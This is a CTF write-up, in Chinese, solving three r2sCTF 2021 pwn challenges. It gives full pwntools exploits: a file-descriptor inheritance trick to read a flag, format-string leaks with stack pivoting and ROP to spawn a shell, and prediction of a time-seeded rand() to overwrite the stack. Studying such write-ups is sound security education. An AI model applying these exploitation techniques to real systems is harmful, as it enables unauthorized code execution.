Skip to content

Latest commit

 

History

History
301 lines (231 loc) · 6.73 KB

r2sCTF_2021.md

File metadata and controls

301 lines (231 loc) · 6.73 KB

Pwn

file manager

題目方向滿明顯的,如果能改 global variable gid 的值,這樣設 0 就是 root 了,所以應該沒辦法這樣做,不過當時花了很多時間在嘗試是否有其他作法。

exploit:

#!/usr/bin/python3

from pwn import *
import sys
import base64

if len(sys.argv) > 1:
    r = remote('file.pwn.quals.r2s.tw', 34567)
else:
    r = process("./file_manager")

for _ in range(8):
    r.sendlineafter('Exit', '2')
    r.sendlineafter('File ID > ', '1')

r.sendlineafter('Exit', '1')
r.sendlineafter('File', '/home/file_manager/flag')
r.sendlineafter('Exit', '333')
sleep(0.5)
r.sendline("read aa <&3")
sleep(0.5)
r.sendline("echo $aa")
r.interactive()

Inherited file descriptor 可以被 drop privilege (setgidsetuid) 的 child process 所存取,而讀 file descriptor 的方式有:

  • 指令 read
  • 寫 asm 編譯後,透過 base64 encode/decode 在 client 與 server 間互傳

我第一個解法為寫 asm,而在後來有發現 read built-in command 也可以。

section .text
    global _start

_start:
    xor rax, rax
    mov rdi, 3
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, 1
    mov rdi, 1
    syscall
  • nasm -f elf64 -o test.o test.asm

  • ld -m elf_x86_64 -s -o payload test.o

  • 相關文章

  • uid 為 0 時,執行 setuid 會同時設 real、effective uid

  • bypass timeout

    • (app &)&: command line double fork
    • timeout 1000000 sh: overwrite 舊有的 timeout

echo-heap

#!/usr/bin/python3

from pwn import *
import sys

if len(sys.argv) > 1:
    r = remote('echo.pwn.quals.r2s.tw', 10101)
else:
    r = process('./echo-heap')

"""
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
"""

#### leak
r.send("echo!\nheap!\n")
r.sendline(b"1"*0x70 + b"%s-" + b"%p-"*0x10)
datas = r.recv().split(b'-')[17:]
heap = int(datas[2], 16) - 0x2a0
libc = int(datas[4], 16) - 0x7548
one = libc + 0xe6c81
code = int(datas[5], 16) - 0x10c0
stack = int(datas[9], 16)
__malloc_hook = libc + 0x1ebb70
binsh = libc + 0x1b75aa
_system = libc + 0x55410
info(f"code: {hex(code)}")
info(f"libc: {hex(libc)}")
info(f"stack: {hex(stack)}")
info(f"one: {hex(one)}")
info(f"hook: {hex(__malloc_hook)}")
info(f"heap: {hex(heap)}")

def count(val, off):
    if off > val:
        return 0x100 - off + val
    return val - off

rbp1 = 15
rbp2 = 43
roploc = heap + 0x6a0
leave_ret = code + 0x12b2
pop_rdi_ret = code + 0x1343
ret = code + 0x101a

def write_to_stack(target, value):
    r.sendline("1"*0x70+f"%s")
    r.recvuntil('%s')
    
    needed = str( count(target & 0xffff, 0x81) ).rjust(5, '0')
    r.sendline("1"*0x70 + f"%s-%{needed}c%{rbp1}$hn")
    r.recvuntil('%s')
    r.sendline("1"*0x70+f"%s")
    r.recvuntil('%s')

    for i in range(8):
        needed = str( count(target+i & 0xff, 0x80) ).rjust(3, '0')
        r.sendline("2"*0x70 + f"%s-%{needed}c%{rbp1}$hhn")
        r.recvuntil('%s')
        r.sendline("2"*0x70+f"%s")
        r.recvuntil('%s')

        pval = p64(value)[i]
        needed = str( count(pval & 0xff, 0x80) ).rjust(3, '0')
        r.sendline("3"*0x70 + f"%s-%{needed}c%{rbp2}$hhn")
        r.recvuntil('%s')
        r.sendline("3"*0x70+f"%s")
        r.recvuntil('%s')

rop = b'\xff'*0x400 + p64(heap+0xb00) + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(_system) + p64(heap + 0x800)
write_to_stack(stack-0x10, roploc)
write_to_stack(stack-0x8, leave_ret)
input()
r.sendline(rop)
r.interactive()

一開始嘗試寫 __malloc_hook one gadget,並且透過 $hhn 控制輸出的大小,但是 printf 內部還是會使用到 malloc(),造成 __malloc_hook 還沒寫完就被執行,後來就只能乖乖走 ROP + stack pivoting。

guess-dice

// file
guess-dice: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=d6346b46df643ff52444290272f38ca6ceab5eb1, for GNU/Linux 3.2.0, not stripped

// check
[*] '/home/u1f383/r2s/dice/guess-dice'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

exploit:

#!/usr/bin/python3

from pwn import *
import sys
import subprocess

if len(sys.argv) > 1:
    r = remote('dice.pwn.quals.r2s.tw', 10103)
else:
    r = process('./guess-dice')

"""
[0] Read Dice
[1] Change Dice
[2] Guess Dice
"""

_system = 0x411a80
pop_rdi_ret = 0x4018ea
ret = 0x40101a
binsh = 0x4B69EB

# 0x401fac
r.sendlineafter('> ', '0')
r.sendlineafter('> ', '-4')
r.recvuntil(' is ')
tv_sec = int(r.recvline()[:-1])

r.sendlineafter('> ', '0')
r.sendlineafter('> ', '-2')
r.recvuntil(' is ')
tv_usec = int(r.recvline()[:-1])

info(f"sec, usec: {hex(tv_sec)}, {hex(tv_usec)}")
seed = (tv_sec & 0xffffffff) ^ (tv_usec & 0xffffffff)
info(f"seed: {seed}")

proc = subprocess.Popen(["./test", f"{seed}"], stdout=subprocess.PIPE)
out, err = proc.communicate()
rands = list(map(int, out.split(b' ')[6:-1]))
idx = 0
print(rands)

# 13 | 12 -> rbp
# 15 | 14 -> ret

def write_to_offset(offset, val):
    global idx

    u = val >> 32
    l = val & 0xffffffff

    r.sendlineafter('> ', '1')
    r.sendlineafter('Dice number want to change', str(offset))
    r.sendlineafter('Value with hash', str((l ^ rands[idx]) & 0xffffffff))
    print(f"{l} ^ {rands[idx]}")
    idx += 1
    r.sendlineafter('> ', '1')
    r.sendlineafter('Dice number want to change', str(offset+1))
    r.sendlineafter('Value with hash', str((u ^ rands[idx]) & 0xffffffff))
    print(f"{u} ^ {rands[idx]}")
    idx += 1

# 0x401fac
write_to_offset(14, pop_rdi_ret)
write_to_offset(16, binsh)
write_to_offset(18, ret)
write_to_offset(20, _system)

def leak_dice():
    dice = []

    for i in range(6):
        r.sendlineafter('> ', '0')
        r.sendlineafter('> ', str(i))
        r.recvuntil(' is ')
        dice.append(int(r.recvline()[:-1]))

    return dice

dice = leak_dice()
print(dice)

##### guess
input()
r.sendlineafter('>', '2')
for i in range(6):
    r.sendlineafter('>', str(dice[i] ^ rands[idx]))
    idx += 1

r.interactive()
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>

int main(int argc, char *argv[])
{
    unsigned long int seed = strtoul(argv[1], NULL, 10);
    srandom((unsigned int) seed);

    for (int i = 0; i < 0x100; i++) {
        printf("%d ", rand());
    }
    return 0;
}

假 random,其實 seed 都可以 leak 出來,之後就是預測未來的 rand(),透過 edit 的功能寫 ROP,最後在猜對 dice 即可。